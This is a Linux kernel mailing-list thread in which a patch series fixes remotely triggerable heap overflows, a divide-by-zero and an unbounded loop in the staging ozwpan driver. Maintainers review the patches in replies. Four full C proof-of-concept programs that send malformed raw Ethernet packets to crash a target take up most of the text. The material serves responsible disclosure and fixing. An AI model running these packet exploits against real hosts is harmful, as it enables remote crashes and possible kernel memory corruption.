> (struct oz_get_desc_rsp *)usb_hdr;
> - int data_len = elt->length -
> + u8 data_len = elt->length -
> sizeof(struct oz_get_desc_rsp) + 1;
> + if (data_len > elt->length)
> + break;
> u16 offs = le16_to_cpu(get_unaligned(&body->offset));
> u16 total_size =
> le16_to_cpu(get_unaligned(&body->total_size));
This patch adds a build warning. Please fix it up and resend the
series.
thanks,
greg k-h
This is v2 for this patch series, fixing a compiler warning.
The ozwpan driver accepts network packets, parses them, and converts
them into various USB functionality. There are numerous security
vulnerabilities in the handling of these packets. Two of them result in
a memcpy(kernel_buffer, network_packet, -length), one of them is a
divide-by-zero, and one of them is a loop that decrements -1 until it's
zero.
I've written a very simple proof-of-concept for each one of these
vulnerabilities to aid with detecting and fixing them. The general
operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]
These PoCs should also be useful to the maintainers for testing out
constructing and sending various other types of malformed packets against
which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two
patches of this set can receive one CVE for both, and the remaining two
can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in
this driver that are worth looking into. When ozwpan receives a packet,
it casts the packet into a variety of different structs, based on the
value of type and length parameters inside the packet. When making these
casts, and when reading bytes based on this length parameter, the actual
length of the packet in the socket buffer is never actually consulted. As
such, it's very likely that a packet could be sent that results in the
kernel reading memory in adjacent buffers, resulting in an information
leak, or from unpaged addresses, resulting in a crash. In the former case,
it may be possible with certain message types to actually send these
leaked adjacent bytes back to the sender of the packet. So, I'd highly
recommend the maintainers of this driver go branch-by-branch from the
initial rx function, adding checks to ensure all reads and casts are
within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
drivers/staging/ozwpan/ozusbsvc1.c | 18 ++++++++++++++----
3 files changed, 20 insertions(+), 10 deletions(-)
--
2.4.1
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozusbsvc1.c | 11 ++++++++---
1 file changed, 8 insertions(+), 3 deletions(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index d434d8c..35198b9 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
- int data_len = elt->length -
+ u16 offs, total_size;
+ u8 data_len;
+
+ data_len = elt->length -
sizeof(struct oz_get_desc_rsp) + 1;
- u16 offs = le16_to_cpu(get_unaligned(&body->offset));
- u16 total_size =
+ if (data_len > elt->length)
+ break;
+ offs = le16_to_cpu(get_unaligned(&body->offset));
+ total_size =
le16_to_cpu(get_unaligned(&body->total_size));
oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
--
2.4.1
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index 5ff4716..784b5ec 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
/*
* Context: softirq
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
- int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+ u8 length, u16 offset, u16 total_size)
{
struct oz_port *port = hport;
struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
if (!urb)
return;
if (status == 0) {
- int copy_len;
- int required_size = urb->transfer_buffer_length;
+ unsigned int copy_len;
+ unsigned int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 4249fa3..d2a6085 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
/* Confirmation functions.
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
- const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+ const u8 *desc, u8 length, u16 offset, u16 total_size);
void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
const u8 *data, int data_len);
--
2.4.1
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 35198b9..8552053 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n = (len - sizeof(struct oz_multiple_fixed)+1)
+ int n;
+ if (!body->unit_size)
+ break;
+ n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
2.4.1
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 8552053..1bde6aa 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n;
+ unsigned int n;
if (!body->unit_size)
break;
n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
+ if (n > len / body->unit_size)
+ break;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
--
2.4.1
On Tue, May 26, 2015 at 02:17:46PM +0200, Jason A. Donenfeld wrote:
> + data_len = elt->length -
> sizeof(struct oz_get_desc_rsp) + 1;
This was in the original code, but I wonder where the + 1 comes from.
Does anyone know?
To be honest, I would prefer if we just checked:
if (elt->length < sizeof(struct oz_get_desc_rsp) + 1)
return;
data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1;
Shouldn't there be an upper bound on length? Shigekatsu?
regards,
dan carpenter
On Tue, May 26, 2015 at 3:32 PM, Dan Carpenter <[email protected]> wrote:
> On Tue, May 26, 2015 at 02:17:46PM +0200, Jason A. Donenfeld wrote:
>> + data_len = elt->length -
>> sizeof(struct oz_get_desc_rsp) + 1;
>
> This was in the original code, but I wonder where the + 1 comes from.
> Does anyone know?
I know. It's because oz_get_desc_rsp has a 1 byte data member as it's
last element, that's just meant as a placeholder for a variable amount
of data. elt->length is supposed to be the size of the struct elements
plus the total data section, which runs after the struct. But because
of this placeholder goofiness, when we take sizeof we have to subtract
one.
struct oz_get_desc_rsp {
[... bla bla ...]
u8 data[1];
} PACKED;
This is sort of horrible, but it is what it is. I'd recommend these
security-CRITICAL patches get merged immediately, and then cleaning up
other problems with this driver can be addressed after, preferably by
the maintainer.
>
> To be honest, I would prefer if we just checked:
>
> if (elt->length < sizeof(struct oz_get_desc_rsp) + 1)
> return;
> data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1;
>
> Shouldn't there be an upper bound on length? Shigekatsu?
elt->length is a u8, so the upper bound is 255.
On Tue, May 26, 2015 at 03:49:27PM +0200, Jason A. Donenfeld wrote:
> On Tue, May 26, 2015 at 3:32 PM, Dan Carpenter <[email protected]> wrote:
> > On Tue, May 26, 2015 at 02:17:46PM +0200, Jason A. Donenfeld wrote:
> >> + data_len = elt->length -
> >> sizeof(struct oz_get_desc_rsp) + 1;
> >
> > This was in the original code, but I wonder where the + 1 comes from.
> > Does anyone know?
>
> I know. It's because oz_get_desc_rsp has a 1 byte data member as it's
> last element, that's just meant as a placeholder for a variable amount
> of data. elt->length is supposed to be the size of the struct elements
> plus the total data section, which runs after the struct. But because
> of this placeholder goofiness, when we take sizeof we have to subtract
> one.
>
> struct oz_get_desc_rsp {
> [... bla bla ...]
> u8 data[1];
> } PACKED;
>
> This is sort of horrible, but it is what it is. I'd recommend these
> security-CRITICAL patches get merged immediately, and then cleaning up
> other problems with this driver can be addressed after, preferably by
> the maintainer.
>
Ah thanks. You are right on all counts, let's merge this.
>
> >
> > To be honest, I would prefer if we just checked:
> >
> > if (elt->length < sizeof(struct oz_get_desc_rsp) + 1)
> > return;
> > data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1;
> >
> > Shouldn't there be an upper bound on length? Shigekatsu?
>
> elt->length is a u8, so the upper bound is 255.
Yes. I know that, but is 255 correct?
regards,
dan carpenter
On Tue, May 26, 2015 at 02:17:49PM +0200, Jason A. Donenfeld wrote:
> diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> index 8552053..1bde6aa 100644
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
> struct oz_multiple_fixed *body =
> (struct oz_multiple_fixed *)data_hdr;
> u8 *data = body->data;
> - int n;
> + unsigned int n;
> if (!body->unit_size)
> break;
> n = (len - sizeof(struct oz_multiple_fixed)+1)
> / body->unit_size;
> + if (n > len / body->unit_size)
> + break;
You sure do like wrapping to a high value and testing the result for
wrapping instead of validating before doing the subtraction...
regards,
dan carpenter
On Tue, May 26, 2015 at 4:06 PM, Dan Carpenter <[email protected]> wrote:
> You sure do like wrapping to a high value and testing the result for
> wrapping instead of validating before doing the subtraction...
I do indeed. It seems like asking "did it overflow?" is more
straight-forward and easier to read than trying to come up with the
necessary conditions to check for "will it overflow?". Personal
preference, I guess.
On Tue, May 26, 2015 at 3:56 PM, Dan Carpenter <[email protected]> wrote:
>> elt->length is a u8, so the upper bound is 255.
>
> Yes. I know that, but is 255 correct?
Eventually body->data is passed to oz_hcd_get_desc_cnf along with
data_len. In there, body->data (now called desc) is memcpy'd into a
URB transfer buffer. The checks to see if that transfer buffer is big
enough are broken and vulnerable, and another patch in this set
addresses that. But anyway, AFAIK, the 255 limit works fine for all
subsequent types used, after this patch set is applied. The use of a
u8 cannot, at this point, be *increased* since this protocol is tied
to particular hardware chips sold by Atmel/Ozmo. And I can't see a
reason why it should be further bounded either.